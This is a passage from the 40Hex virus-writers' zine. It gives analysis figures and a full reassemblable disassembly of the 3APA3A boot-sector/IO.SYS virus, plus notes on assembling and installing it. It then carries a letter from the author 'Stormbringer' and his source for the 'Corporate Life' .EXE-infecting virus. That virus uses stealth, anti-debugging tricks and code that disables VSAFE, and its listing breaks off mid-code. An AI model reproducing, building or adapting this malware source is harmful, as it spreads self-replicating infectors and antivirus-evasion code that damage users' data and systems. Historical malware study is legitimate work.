25276 4.00 PC 32810 35984 37637 4.01 MS 33337 37376 37557 5.00 MS 33430 37394 47845 6.20 MS 40566 38138 54500 -------------------------------------------------------------- Figure 3. Virus code fragment, which checks whether partition uses 16 bit FAT or not. 7C75 A11300 MOV AX,[0013] ;total sectors in media on HDD 7C78 48 DEC AX ;0000 -> FFFF (for big disks!) 7C79 3D0351 CMP AX,5103 ;16 bit FAT guaranteed! 7C7C 76B1 JBE 7C2F ;pass control to floppy boot ... Figure 4. Modification of the root directory of first DOS partition by 3APA3A virus: a) initial layout, b) after first shift c) after copying of IO.SYS entry to 3rd position. ------------- ------------- ------------- #1 IO.SYS IO.SYS IO.SYS -> infected IO.SYS ------------- ------------- ------------- #2 MSDOS.SYS MSDOS.SYS MSDOS.SYS ------------- ------------- ------------- #3 FILE0003.EXT FILE0003.EXT IO.SYS -> copy of IO.SYS ------------- ------------- ------------- #4 FILE0004.EXT FILE0003.EXT FILE0003.EXT ------------- ------------- ------------- ... ------------- ------------- ------------- #79 FILE0079.EXT FILE0078.EXT FILE0078.EXT ------------- ------------- ------------- #80 FILE0080.EXT FILE0079.EXT FILE0079.EXT ------------- ------------- ------------- a) b) c) Figure 5. The decryptor of virus floppy boot sector is polymorphic. A caret "^" symbol designates variable bytes. Number in brackets corresponds to a comment below. 7C1E BE2C7C MOV SI,7C2C ;starting address ^^^^ (1) 7C21 2E CS: ;infection marker! (1 byte of 2) 7C22 800470 ADD BYTE PTR [SI],70 ^^^^^^ (2) 7C25 46 INC SI ^^ (3) 7C26 81FEFB7D CMP SI,7DFB ;upper limit ? ^^^^ (4) 7C2A 75F5 JNZ 7C21 ;<- JNZ offset may be encrypted ^^ (5) 7C2C ... (1) These two bytes are variable and may be: 2BBE, 2CBE, 2DBE or 2EBF. Makes: MOV SI, 7C2B; MOV SI, 7C2C; MOV SI, 7C2D; MOV DI, 7C2E. Thus, start of encryption at address: 7C2B, 7C2C, 7C2D, 7C2E (with equal probability). (2) These three bytes are variable: F61490 or F61590 NOT BYTE PTR [SI] ;or [DI] (3rd byte is 90h) 8004xx or 8005xx ADD BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND) 802Cxx or 802Dxx SUB BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND) 8034xx or 8035xx XOR BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND) (3) This byte may be 46 (INC SI, 75% probability) or 47 (INC DI, 25% probability) (4) These two bytes are variable: FAFE, FBFE, FCFE or FDFF. Makes: CMP SI,7DFA; CMP SI,7DFB; CMP SI,7DFE; CMP DI,7DFD) (5) This byte may be encrypted (probability=25%)! And the virus will hang on 386, 486 because of processor queue pre-fetch. Figure 6. Global structure of the virus IO_sector. 0000:7C00 PUSH CS ;places startCS on stack CALL $+3 POP SI ;gets relative position in CS SUB SI,4 ;sizeof(PUSH+CALL) PUSH SI ;places it on stack ;(startCS:SI=0000:7C00 is on stack) PUSH AX/BX/CX/DX/DS/ES --------------------- | viral code | --------------------- --------------------- | copy virus | | code to | | ES=9F80 | --------------------- PUSH ES ;ES=9F80 MOV AX,006C PUSH AX ;(9F80:006C is on stack now) RETF ;same as JMP 9F80:006C 9F80:006C --------------------- | read 2 sectors | | from original | | IO.SYS to | | 0000:7C00 | ;read 1k to startCS:SI=0000:7C00 | ... | --------------------- POP ES/DS/DX/CX/BX/AX RETF ;same as JMP 0000:7C00 Figure 7. Map of memory usage of 3APA3A virus, when it is resident in computer memory (CS=9F80 and the virus sets DS=ES=9FA0). ---------------------------------------------------------------------- Address (same as) Size Function CS:offset DS:offset (bytes) (buffer for) ---------------------------------------------------------------------- 9F80:0000 200h IO_sector 9F80:0200 9FA0:0000 200h Virus boot sector (used for encryption) 9F80:0400 9FA0:0200 2 0201/0301 (AX for INT_13) 9F80:0402 9FA0:0202 1 0/1 (DL for INT_13) 9F80:041E 9FA0:021E 1E2h Virus boot sector code (orig. copy) 9F80:0600 9FA0:0400 200h Current floppy boot sector ---------------------------------------------------------------------- (*) Code segment CS=9F80 was taken for example. That is a location of the virus for normal 640k computer (CS=A000-2k). Figure 8. "Window leaf" in the interrupt 13h function of virus. Leaf is "closed" at address 00BC and is opened at 00C4. 00B4 A10002 MOV AX,[0200] ;may be read and write 00B7 8A160202 MOV DL,[0202] ;drive # (0/80) 00BB 2E CS: 00BC C606E300EB MOV BYTE PTR [00E3],EB ;-> JMP ("close leaf") 00C1 CD13 INT 13 00C3 2E CS: 00C4 C606E30075 MOV BYTE PTR [00E3],75 ;-> JNZ ("open leaf") 00C9 7202 JB 00CD 00CB FC CLD 00CC C3 RET ... ; virus INT_13 handler (usually at 9F80:00D5) 00D5 50 PUSH AX 00D6 53 PUSH BX 00D7 51 PUSH CX 00D8 52 PUSH DX 00D9 56 PUSH SI 00DA 57 PUSH DI 00DB 1E PUSH DS 00DC 06 PUSH ES 00DD 55 PUSH BP 00DE 8BEC MOV BP,SP 00E0 F6C280 TEST DL,80 ;HDD (1st or 2nd)? 00E3 EBED JMP 00D2 ;<- see 00C4 & 00BC (set JNZ/JMP) ;here if not HDD 00E5 02F1 ADD DH,CL 00E7 02F5 ADD DH,CH 00E9 80FE01 CMP DH,01 ;DH=CH+CL+DH=1 if boot sector 00EC 77E4 JA 00D2 ;exit from handler ... Figure 9. The virus code fragment, which prints the message "B BOOT CEKTOPE - 3APA3A! <0Dh> <10h>" 000F B404 MOV AH,04 ;get CMOS date 0011 CD1A INT 1A 0013 80FE08 CMP DH,08 ;August? 0016 7512 JNZ 002A 0018 8D9C9A00 LEA BX,[SI+009A] ;pointer on message 001C B8420E MOV AX,0E42 ;tty output, ASCII(42)='B' 001F B91A00 MOV CX,001A ;length ; 0022 CD10 INT 10 0024 2E CS: 0025 0207 ADD AL,[BX] ;sum all prev. chars in AL 0027 43 INC BX ;increase pointer 0028 E2F8 LOOP 0022 ... 009A DE220D0005CC2302 ;this table stores values, 00A2 0609FB01F5DB0DF3 ;which being added to previous char 00AA 130E0FF1F20EE0E6 ;gives new one (smth. like "delta"-coding) 00B2 0603 ;last char has an error - 10h instead of LF --------------------------------------------------- ; To assemble, simple run TASM and TLINK on this file and generate a binary. ; The first 512d bytes of the binary will contain the portion of the virus ; which resides in IO.SYS. The second 512d bytes will contain the boot ; section portion of the virus. ; Installation is slightly more difficult. It requires you to simulate ; an infection with 3apa3a. Read the text above for information. Basically, ; you have to fill in the BPB in the boot sector, fill in the patch values, ; and then move the pieces onto the disk properly. .model tiny .code .radix 16 org 0 ; 3apa3a virus ; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14 zero: _3apa3a: push cs call doffset doffset: pop si db 83,0EE,4 ; sub si,4 push si ax bx cx dx ds es mov ah,4 ; get date int 1Ah cmp dh,8 ; september? jne no_activate lea bx,cs:[si+message-_3apa3a] mov ax,0E42 ; begin with B mov cx,endmessage - message display_loop: int 10 ; print character add al,cs:[bx] ; calculate next character inc bx loop display_loop no_activate: cld xor ax,ax ; ds = 0 mov ds,ax push cs ; es = cs pop es lea di,[si+offset old_i13] push si mov si,13*4 ; grab old int 13 handler movsw movsw mov ax,ds:413 ; get BIOS memory size dec ax ; decrease by 2K dec ax mov ds:413,ax ; replace the value mov cl,6 ; convert to paragraphs shl ax,cl mov [si-2],ax ; replace interrupt handler mov word ptr [si-4],offset i13 mov es,ax ; move ourselves up push cs pop ds si xor di,di mov cx,200 push si rep movsw ; copy now! inc ch ; cx = 1 sub si,200 ; copy rest rep movsw pop si push cs es mov ax,offset highentry push ax retf highentry: mov ax,7C0 mov ds,ax mov word ptr ds:200,201 mov byte ptr ds:202,80 les ax,dword ptr cs:203 mov dx,es pop es mov bx,si mov cx,1 mov word ptr cs:3C2,0FCF0 ; patch work_on_sectors to call call work_on_sectors ; do_i13 pop es ds dx cx bx ax retf message: db ' ' - 'B' db 'B' - ' ' db 'O' - 'B' db 'O' - 'O' db 'T' - 'O' db ' ' - 'T' db 'C' - ' ' db 'E' - 'C' db 'K' - 'E' db 'T' - 'K' db 'O' - 'T' db 'P' - 'O' db 'E' - 'P' db ' ' - 'E' db '-' - ' ' db ' ' - '-' db '3' - ' ' db 'A' - '3' db 'P' - 'A' db 'A' - 'P' db '3' - 'A' db 'A' - '3' db '!' - 'A' db 7 - '!' db 0Dh - 7 db 10 - 0Dh endmessage: do_i13: mov ax,ds:200 mov dl,ds:202 mov byte ptr cs:patch,0EBh ; jmp absolute int 13 ; do interrupt mov byte ptr cs:patch,75 ; jnz jc retry_error cld retn retry_error: cmp dl,80 ; first hard drive? je do_i13 ; if so, retry go_exit_i13: jmp exit_i13 ; otherwise quit i13: push ax bx cx dx si di ds es bp mov bp,sp test dl,80 ; hard drive? patch: jnz go_exit_i13 add dh,cl ; check if working on add dh,ch ; boot sector or cmp dh,1 ; partition table ja go_exit_i13 ; if not, quit mov ax,cs ; get our current segment add ax,20 ; move up 200 bytes mov ds,ax mov es,ax mov word ptr ds:200,201 ; set function to read mov ds:202,dl ; set drive to hard drive mov bx,400 ; set buffer xor dx,dx ; read in the boot sector push dx mov cx,1 call do_i13 ; read in boot sector cmp byte ptr ds:400+21,2E ; check if 3apa3a already there je go_exit_i13 cmp byte ptr ds:400+18,0 je go_exit_i13 push cs pop es mov di,203 mov si,403 mov cx,1Bh ; copy disk tables cld rep movsb sub si,200 ; copy the rest mov cx,1E2 rep movsb inc byte ptr ds:201 ; set to write mov ax,ds:16 ; get sectors per FAT mul byte ptr ds:10 ; multiply by # FATs mov bx,ds:11 ; get number of sectors mov cl,4 ; occupied by the root shr bx,cl ; directory db 83,0FBh,5 ; cmp bx,5 ; at least five? jbe go_exit_i13 ; if not, quit add ax,bx ; add ax,ds:0E ; add # reserved sectors dec ax ; drop two sectors to find dec ax ; start of last sector xor dx,dx ; of root directory push ax dx call abs_sec_to_BIOS mov ds:patch1-200,cx ; move original boot mov ds:patch2-200,dh ; sector to the end of the xor bx,bx ; root directory call do_i13 pop dx ax dec ax call abs_sec_to_BIOS mov ds:34,cx ;patch3 ; write io portion to mov ds:37,dh ;patch4 add bh,6 ; bx = 600 call do_i13 push ds xor ax,ax mov ds,ax mov dx,ds:46C ; get timer ticks pop ds mov bl,dl ; eight possible instructions db 83,0E3,3 ; and bx,3 push bx shl bx,1 ; convert to word index mov si,bx mov cx,es:[bx+encrypt_table] pop bx push bx mov bh,bl shr bl,1 ; bl decides which ptr to use lea ax,cs:[bx+2BBE] ; patch pointer mov ds:[decrypt-bs_3apa3a],ax ; and start location add ch,bl mov ds:[encrypt_instr-bs_3apa3a],cx add ax,0CF40 mov ds:[patch_endptr-bs_3apa3a],ax pop ax push ax mul dh add al,90 ; encode xchg ax,?? add bl,46 ; encode inc pointer mov ah,bl mov ds:[patch_incptr-bs_3apa3a],ax mov dx,word ptr cs:[si+decrypt_table] mov word ptr cs:decrypt_instr,dx pop di db 83,0C7 ;add di,XX ; start past decryptor dw bs_3apa3a_decrypt - bs_3apa3a org $ - 1 mov si,di push ds pop es mov cx,end_crypt - bs_3apa3a_decrypt; bytes to crypt mov ah,al encrypt_loop: lodsb decrypt_instr: add al,ah stosb loop encrypt_loop pop dx mov cx,1 ; write the replacement xor bx,bx ; boot sector to the disk call do_i13 exit_i13: mov sp,bp pop bp es ds di si dx cx bx ax db 0EAh old_i13 dw 0, 0 decrypt_table: not al sub al,ah add al,ah xor al,ah encrypt_table dw 014F6 ; not dw 0480 ; add dw 2C80 ; sub dw 3480 ; xor ; This marks the end of the IO.SYS only portion of 3apa3a ; The boot sector portion of 3apa3a follows. adj_ofs = 7C00 + zero - bs_3apa3a bs_3apa3a: jmp short decrypt nop ; The following is an invalid boot sector. Replace it with ; yours. db ' ' db 00, 00, 00, 00, 00, 00 db 00, 00, 00, 00, 00, 00 db 00, 00, 00, 00, 00, 00 db 00 decrypt: db 0BF ; mov di, dw adj_ofs + bs_3apa3a_decrypt decrypt_loop: db 2e ; cs: encrypt_instr label word db 80,2Dh ; sub byte ptr [di],XX patch_incptr label word db 0 ; temporary value for cryptval inc di db 81 ; cmp patch_endptr label word db 0ff ; pointer dw adj_ofs + end_crypt jne decrypt_loop bs_3apa3a_decrypt = $ - 1 jmp short enter_bs_3apa3a nop load_original: xor dx,dx ; set up the read mov es,dx ; of the original boot sector db 0B9 ; mov cx, XXXX patch3 dw 3 db 0B6 patch4 db 1 mov bx,ds ; es:bx = 0:7C00 mov ax,201 db 0ebh ; jump to code in stack dw bs_3apa3a - 4 - ($ + 1) org $ - 1 enter_bs_3apa3a:cli xor ax,ax mov ss,ax ; set stack to just below us mov sp,7C00 sti mov dl,80 ; reset hard drive int 13 mov ax,2F72 ; encode JNZ load_original at ; 7BFE mov ds,sp ; set segment registers to mov es,sp ; 7C00 push ax mov word ptr ds:200,201 ; do a read mov ds:202,dl ; from the hard drive xor bx,bx ; read to 7C00:0 mov dh,1 ; read head 1 mov cx,1 ; read sector 1 ; (assumes active boot ; sector is here) mov ax,13CDh ; encode int 13 at 7BFC push ax call exec_int13 ; do the read mov bx,203 cmp byte ptr [bx-4],0AA ; is it valid bs? jnz_load_original: jne load_original ; if not, assume infected and ; transfer control to it mov ax,ds:13 ; get number of sectors in dec ax ; image - 1 cmp ax,5103 ; hard drive too small? (5103h jbe load_original ; sectors ~ 10.6 megs) mov ax,ds:1C ; get number hidden sectors add ax,ds:0E ; add number reserved sectors mov ds:9,ax ; store at location that holds ; the end of OEM signature add ax,ds:16 ; add sectors per FAT dec ax ; go down two sectors dec ax push ax xor dx,dx mov cx,dx call work_on_sectors ; load end of FAT to 7C00:203 mov ax,ds:16 ; get sectors per FAT push ax ; save the value mul byte ptr ds:10 ; multiply by # FATs add ax,ds:9 ; calculate start of root dir mov ds:7,ax ; store it in work buffer mov cl,4 mov si,ds:11 ; get number sectors the shr si,cl ; root directory takes add si,ax ; and calculate start of data mov ds:5,si ; area and store it in buffer call work_on_sectors ; get first 5 sectors of the ; root directory test byte ptr ds:403+0Bh,8 ; volume label bit set on first ; entry? (infection marker) jne_load_original: ; if so, already infected, so jnz jnz_load_original ; quit xor si,si mov bx,1003 mov ax,ds:403+1A ; get starting cluster number ; of IO.SYS read_IO_SYS: push ax ; convert cluster to absolute call clus_to_abs_sec ; sector number call work_on_sector ; read in one cluster of IO.SYS inc si pop ax push bx ax mov bx,403+0A00 ; read into this buffer push bx mov al,ah ; find the sector with the FAT xor dx,dx ; entry corresponding to this mov ah,dl ; cluster add ax,ds:9 call work_on_sectors ; read in the FAT pop bx ax mov ah,dl shl ax,1 mov di,ax mov ax,[bx+di] ; grab the FAT entry (either EOF ; or next cluster number) pop bx ; corresponding to this cluster cmp ax,0FFF0 ; is there any more to read? jb read_IO_SYS ; if so, keep going inc byte ptr ds:201 ; change function to a write pop cx dec cx dec cx mov ds:4,cl mov di,401 ; scan the end of the FAT mov cx,100 mov bp,-1 copy_IO_SYS: xor ax,ax ; look for unused clusters repne scasw jnz jne_load_original mov [di+2],bp mov bx,cx mov bh,ds:4 mov bp,bx ; save starting cluster of push bp cx ; where IO.SYS will be moved mov ah,ds:0Dh shl ax,1 dec si mul si mov bx,ax add bx,1003 mov ax,bp call clus_to_abs_sec call work_on_sector ; move IO.SYS to end of HD pop cx bp or si,si jnz copy_IO_SYS mov si,0DE1 ; move all but the first two mov di,0E01 ; directory entries down one mov cx,4D0 ; (10 dir entries / sector, rep movsw ; 5 sectors) ; DF set by exec_int13 mov si,421 ; move IO.SYS entry down two mov cx,10 ; entries rep movsw mov ds:400+2*20+1Dh,bp ; set starting cluster of the ; moved original IO.SYS or byte ptr ds:40E,8 ; set volume label bit on first ; IO.SYS entry mov bx,403 ; point to root directory mov ax,ds:7 ; get starting cluster of xor dx,dx ; root dir mov cl,4 call work_on_sectors ; write updated root directory pop ax ; to the disk write_FATs: mov bx,203 ; point to the updated FAT call work_on_sectors ; write changed end of FAT dec ax add ax,ds:16 ; add sectors per FAT dec byte ptr ds:10 ; processed all the FATs? jnz write_FATs mov ax,bp call clus_to_abs_sec mov cs:7C03,ax ; store the values mov cs:7C05,dx mov byte ptr cs:7C01,1Ch xor ax,ax ; reset default drive mov dx,ax int 13 mov ax,201 ; read in original boot sector ; You must patch the following values if you are installing 3apa3a on a disk db 0b9 ; mov cx, XXXX patch1 dw 0 db 0b6 ; mov dh, XX patch2 db 0 mov bx,0E03 call perform_int13 mov ax,ds:403+1A ; get starting cluster number call clus_to_abs_sec ; of IO.SYS xor cx,cx call work_on_sectors mov bx,ds mov es,cx call work_on_sectors go_load_original: jmp load_original exec_int13: mov ax,ds:200 ; get function from memory mov dl,ds:202 ; get drive from memory perform_int13: int 13 jc go_load_original std retn work_on_sectors:inc cx work_on_sector: push cx dx ax call abs_sec_to_BIOS call exec_int13 pop ax dx cx add ax,1 ; calculate next sector db 83,0D2,0 ; adc dx,0 ; (don't use INC because add bh,2 ; INC doesn't set carry) loop work_on_sector ; do it for the next sector retn abs_sec_to_BIOS:div word ptr ds:18 ; divide by sectors per track mov cx,dx inc cl xor dx,dx div word ptr ds:1A ; divide by number of heads ror ah,1 ror ah,1 xchg ah,al add cx,ax mov dh,dl retn clus_to_abs_sec:mov cl,ds:0Dh ; get sectors per cluster xor ch,ch ; (convert to word) dec ax dec ax mul cx ; convert cluster number to add ax,ds:5 ; absolute sector number end_crypt: db 83,0D2,0 ; adc dx,0 retn dw 0AA55 ; boot signature end _3apa3a 40Hex Number 14 Volume 5 Issue 1 File 008 A lot of you saw the letter I posted in alt.comp.virus..... I thought I might explain it now that I am sober ;) I did write the letter, and a.) I was drunk as hell, and b.) I keep my word and have stopped writing viruses. If you didn't read it, well, basically some schmuck (who I found out later wrote friggin' ANSI bombs.... you go girl!) in Singapore got infected with KeyKapture 2, and wrote me email about it. I was drunk when I got it, got real depressed, etc. etc.... Anyway, I don't support infecting the public with viruses, especially destructive ones, and never have (WTF is the point of doing that anyway?). However, I find viruses one of the most interesting and unique program types out there, and really hate to see information regarding them censored, as censorship is the weapon of men with small minds (at least) and too many fears. Anyway, here is the last virus I wrote before I stopped writing viruses. It was never really completed - I was working on a better polymorphic engine for it (its current one is tres lame, and was written in about an hour, including testing), needed to remove the prefetch tricks (damn pentium chips) and some other things, but what the hell.... here's what I had written to that point - it works, and has a few neato ideas (all FCB stuff, loads itself into the memory of other programs, etc). Try running it with the Soundblaster speech drivers loaded if you get really bored. - Stormbringer, Phalcon/Skism, 1995 ;----------------------- cut here, corplife.asm --------------------------- ;ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ;º Corporate Life (c) 1994 Stormbringer, Phalcon/Skism º ;ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͹ ;º Dreams disipate like fog before the harsh sun - º ;º Every morning, driving to work through the traffic, º ;º A number, a cube, a tie..... º ;º º ;º Don't let your dreams die, mes amis, º ;º Or you will become just another puppet - º ;º Led by the strings of money by an ungrateful master. º ;º º ;º Fuck Corporate Life! º ;ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ;Semi-Polymorphic (quit yo' bitchin Zerial, I woulda fixed it.....) ;Moderately Armored. ;Directory stealth - doesn't affect CHKDSK or similar programs, just dir's. ;Memory Stealth - becomes a part of the last TSR program in memory. ;Infects .EXE files on DIR (FindFile with FCB's) using ONLY FCB calls. ; (Only infects DOS .EXE files with no overlays) ;Critical Error Handler. .model tiny .radix 16 .code org 100 start: push es push cs pop ds db 2dh dup(90) EXE_ENTRY: jmp short rotateit db 09A rotateit: ror word ptr cs:[HostCS],1 jmp short EntryArmor db 0ea ;simple annoyance for disasm ;---------------------------- EntryArmor: push word ptr cs:[Armor1] mov ax,not(00eah) push ax mov bp,sp not word ptr ss:[bp] ;should lose trace-based pop word ptr cs:[Armor1] ;analysis, such as f-prot's Armor1: ;heuristics and TBCLEAN pop word ptr cs:[Armor1] call recursionshit ;---------------------------- GetDosVersion: mov ax,3001 int 21 cmp al,6 ja BadDos cmp al,3 jb BadDos jmp short DosFine db 0ea BadDos: jmp IsActiveInMemory db 0ff DosFine: ;---------------------------- KillVSAFE: mov dx,not(0fa01) mov ax,not(5945) xchg dx,ax push cs not ax not dx int 16 ;Kill vsafe... lame friggin' program anyway pop ds ;---------------------------- CheckIfActive: mov ah,09 mov dx,offset Credits int 21 jnc GetInt21Address jmp IsActiveInMemory ;---------------------------- GetInt21Address: xor ax,ax push ds ax pop ds push word ptr ds:[84] push word ptr ds:[05*4] push word ptr ds:[86] push word ptr ds:[05*4+2] pop word ptr ds:[03*4+2] pop word ptr cs:[Org21CS] pop word ptr ds:[03*4] pop word ptr cs:[Org21IP] pop ds push es ;---------------------------- AllocTempMem: mov ah,4a mov bx,-1 call call21direct sub bx,(end_main-start+1f)/10 mov ah,4a call call21direct mov bx,(end_main-start+0f)/10 mov ah,48 call call21direct ;---------------------------- PutVirusInTempMem: sub ax,10 mov es,ax mov di,100 mov si,di mov cx,(end_main-start) repnz movsb push ds mov ds,cx SetupProgramTerminate: push ds:[22*4] push ds:[22*4+2] mov ds:[22*4],offset Int22 mov ds:[22*4+2],es mov word ptr ds:[6],0fff0 mov word ptr ds:[4],0 pop ax pop bx pop ds mov es:[IP22],bx mov es:[CS22],ax pop ds mov ds:[0a],offset Int22 mov ds:[0c],es ;---------------------------- IsActiveInMemory: pop es push es pop ds mov ax,es add ax,10 add cs:HostCS,ax add ax,cs:HostSS cli mov ss,ax mov sp,cs:[HostSP] xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor di,di mov si,100 sti jmp dword ptr cs:[HostEntry] HostEntry: HostIP dw 0 HostCS dw 0fff0 HostSS dw 0fff0 HostSP dw 0fffe Call21Direct: pushf call dword ptr cs:[Org21IP] ret Org21IP dw 0 Org21CS dw 0 ;----------------------------- recursionshit: mov cx,11 call recurseit ret db 081 recurseit: jmp short bumpshit db 0ff Afterbump: dec cx pop ax bx dx jz exitrecurse call recurseit exitrecurse: rol word ptr cs:[HostCS],1 ret db 0cdh bumpshit: mov bp,sp push ds mov bx,cs push ax mov word ptr [bp-4],0 pop ds mov word ptr ds:[3*4],offset afterbump mov word ptr ds:[3*4+2],bx pop ds int 3 How_did_ya_get_here: loop How_did_ya_get_here mov ds,cx push word ptr ds:[46c] push word ptr ds:[46c] push word ptr ds:[46e] iret ;----------------------------- db 83 Int22: mov ah,52 call call21direct mov es,es:[bx-2] mov bx,es mov ax,es:[03] mov cx,es add ax,cx inc ax mov es,ax FindMCB: mov ax,es:[03] cmp ax,(end_prog-start+4f)/10 jb TooSmall cmp word ptr es:[01],0 je FoundOne jmp NExtOne TooSmall: cmp word ptr es:[01],0 jne NextOne jmp SkipBXMove NextOne: mov bx,es SkipBXMove: mov cx,es add ax,cx inc ax cmp ax,0f000 je NoMem cmp byte ptr es:[0],'M' jne NoMem mov es,ax jmp FindMCB db 081 NoMem: jmp Exit22 db 0ea FoundOne: mov dx,es mov es,bx inc bx add bx,word ptr es:[03] push bx mov ax,es push word ptr es:[01] push es inc ax mov bx,word ptr es:[03] mov word ptr cs:[HostMem],ax mov es,ax mov ah,4a add bx,(end_prog-start+3f)/10 call call21direct jc TooSmall pop es pop word ptr es:[01] pop ax sub ax,10 mov es,ax mov di,100 mov si,di push cs pop ds mov cx,(end_prog-start) repnz movsb inc cx mov ds,cx push word ptr ds:[74] push word ptr ds:[76] mov word ptr ds:[74],offset Int21 mov word ptr ds:[76],es pop word ptr es:[CS21] pop word ptr es:[IP21] call ActivateSoundBlaster Exit22: db 0ea IP22 dw 0 CS22 dw 0 db 0ff Int21: cmp ah,09 jne NotInstallCheck xchg dx,bx cmp word ptr ds:[bx],'B$' xchg dx,bx jne Exit21 stc retf 2 db 088 NotInstallCheck: push ax ;reversed bits on ah xor ah,11 ;0001 0001 ;11 - find first jz FindFile xor ah,3 jz FindFile ;0001 0010 ;12 - find next xor ah,5bh ;0100 1001 ;49 - dealloc mem jz Dealloc ExitTests: pop ax ExitFunctions: Exit21: db 0ea IP21 dw 0 CS21 dw 0 db 0ea Dealloc: mov ax,es cmp ax,word ptr cs:[HostMem] pop ax jne Exit21 iret db 0ea GoExitFind: jmp ExitFind FindFile: pop ax call FakeInt21 or al,al jnz GoExitFind push ax bx cx dx es ds si di call SetCritical mov ah,2f call FakeInt21 push es bx cmp byte ptr es:[bx],0ff jne ExitCheck add bx,7 CheckIfEXE: cmp word ptr es:[bx+09],'XE' jne ExitCheck cmp byte ptr es:[bx+0bh],'E' jne ExitCheck CheckIfInfected: cmp word ptr es:[bx+19h],0c800 ja SubVirSize RandomChanceOfInfect: call RandomChance jc SubVirSize SetupInfectFile: push es bx push cs pop es mov di,offset FCB1 mov cx,EndFCB1-FCB1 xor ax,ax push di repnz stosb pop di pop si ds mov cx,12d repnz movsb OpenFileFCB: mov ah,0f push cs pop ds mov dx,offset FCB1 call FakeInt21 inc al jz SubVirSize ;Error Occured push es bx call InfectFileFCB pop bx es CloseFileFCB: mov ah,10 mov dx,offset FCB1 call FakeInt21 SubVirSize: cmp word ptr es:[bx+19],0c800 jb AfterDirStealth sub word ptr es:[bx+19],0c800 push bx mov ah,62 call FakeInt21 mov ax,cs cmp bx,ax pop bx ja AfterDirStealth sub word ptr es:[bx+1dh],(end_main-start+40) sbb word ptr es:[bx+1f],0 AfterDirStealth: ExitCheck: pop dx ds mov ah,1a call fakeint21 call ResetCritical pop di si ds es dx cx bx ax ExitFind: retf 2 db 0ea FakeInt21: pushf call dword ptr cs:[IP21] ret db 09a BadFile: jmp ExitInfFCB db 0ea InfectFileFCB: push word ptr [FCBTime] push word ptr [FCBDate] push word ptr [FCBFSize] push word ptr [FCBFSize+2] pop word ptr [OrgSize+2] pop word ptr [OrgSize] call CheckHeader jc InfectionCheck call SaveValues call ResetHeader call PAdEndOfFile jmp ModTimeInfected InfectionCheck: jc ExitInfFCB ;was infection successful? ModTimeInfected: pop ax add ax,0c800 push ax ExitInfFCB: pop word ptr cs:[FCBDate] pop word ptr cs:[FCBTime] ret PadEndOfFile: mov ax,word ptr [OrgSize] mov dx,word ptr [OrgSize+2] add ax,(end_main-start+40) adc dx,0 mov word ptr [FCBFSize],ax mov word ptr [FCBFSize+2],dx ret RandomChance: push ax ds xor ax,ax mov ds,ax mov ax,ds:[46c] shr ax,1 pop ds ax ret ResetHEader: mov ax,word ptr [FCBFsize] mov dx,word ptr [FCBFsize+2] and ax,1ff mov word ptr [EXEHeader+2],ax mov ax,word ptr [FCBFsize] jz NoCarry add ax,1ff NoCarry: mov cl,9 shr ax,cl mov cl,7 shl dx,cl add dx,ax mov word ptr [EXEHeader+4],dx add word ptr [exeheader+0a],(end_main-start+1f)/10 mov ah,1a mov dx,offset EXEHeader call fakeint21 mov dx,offset FCB1 mov byte ptr [FCBCurRec],0 mov word ptr [FCBBlock],0 mov word ptr [FCBRecSize],40 mov ah,15 call fakeInt21 ret CheckHEader: mov word ptr [FCBRecSize],40 mov ah,1a mov dx,offset EXEHeader call fakeInt21 ;Set DTA for read mov ah,14 mov dx,offset FCB1 ;read EXEheader call fakeInt21 mov ax,word ptr [EXEHeader] add ah,al xor ah,('Z'+'M') jnz BadHeader cmp word ptr [EXEHeader+1a],0 jnz BadHEader cmp word ptr [EXEHeader+18],40 jae BadHeader cmp word ptr [FCBFSize+2],4 ja BadHeader clc ret BadHeader: stc ret SaveValues: push word ptr [EXEHeader+0e] mov ax,word ptr [FCBFsize] push word ptr [EXEHeader+10] mov dx,word ptr [FCBFsize+2] push word ptr [EXEHEader+14] mov cl,4 mov bx,word ptr [EXEHeader+08] shl bx,cl sub ax,bx sbb dx,0 push word ptr [EXEHEader+16] shr ax,cl pop word ptr [HostCS] adc ax,0 pop word ptr [HostIP] mov bx,ax pop word ptr [HostSP] shl ax,cl pop word ptr [HostSS] adc dx,0 mov cl,0c shl dx,cl add bx,dx sub bx,0f mov word ptr [EXEHeader+16],bx mov word ptr [EXEHeader+14],100 add bx,0f0 mov word ptr [EXEHeader+0e],bx mov word ptr [EXEHeader+10],2fe mov ax,word ptr [FCBFsize] mov dx,word ptr [FCBFsize+2] mov cl,4 shr ax,cl adc ax,0 mov ch,dl mov cl,4 shr dx,cl shl ch,cl add ah,ch adc dx,0 inc ax adc dx,0 mov word ptr [FCBRanRec],ax mov word ptr [FCBRanRec+2],dx mov word ptr [FCBRecSize],10 push cx bx dx si di call Mutate pop di si dx bx cx mov dx,offset DecryptBuffer AppendLoop: mov ah,1a call fakeint21 push dx mov ah,22 mov dx,offset FCB1 call fakeint21 pop dx call updateRecAndDX cmp dx,offset end_prog jb AppendLoop ret UpdateRecAndDX: add dx,10 add word ptr [FCBRanRec],1 adc word ptr [FCBRanRec+2],0 ret SetCritical: push ax ds mov ax,9 mov ds,ax push word ptr ds:[0] push word ptr ds:[2] pop word ptr cs:[OldCritical+2] pop word ptr cs:[OldCritical] mov word ptr ds:[0],offset CriticalError push cs pop word ptr ds:[02] pop ds ax ret ResetCritical: push ax ds push word ptr cs:[OldCritical] mov ax,9 push word ptr cs:[OldCritical+2] mov ds,ax pop word ptr ds:[2] pop word ptr ds:[0] pop ds ax ret CriticalError: mov al,3 iret OldCritical dd 0 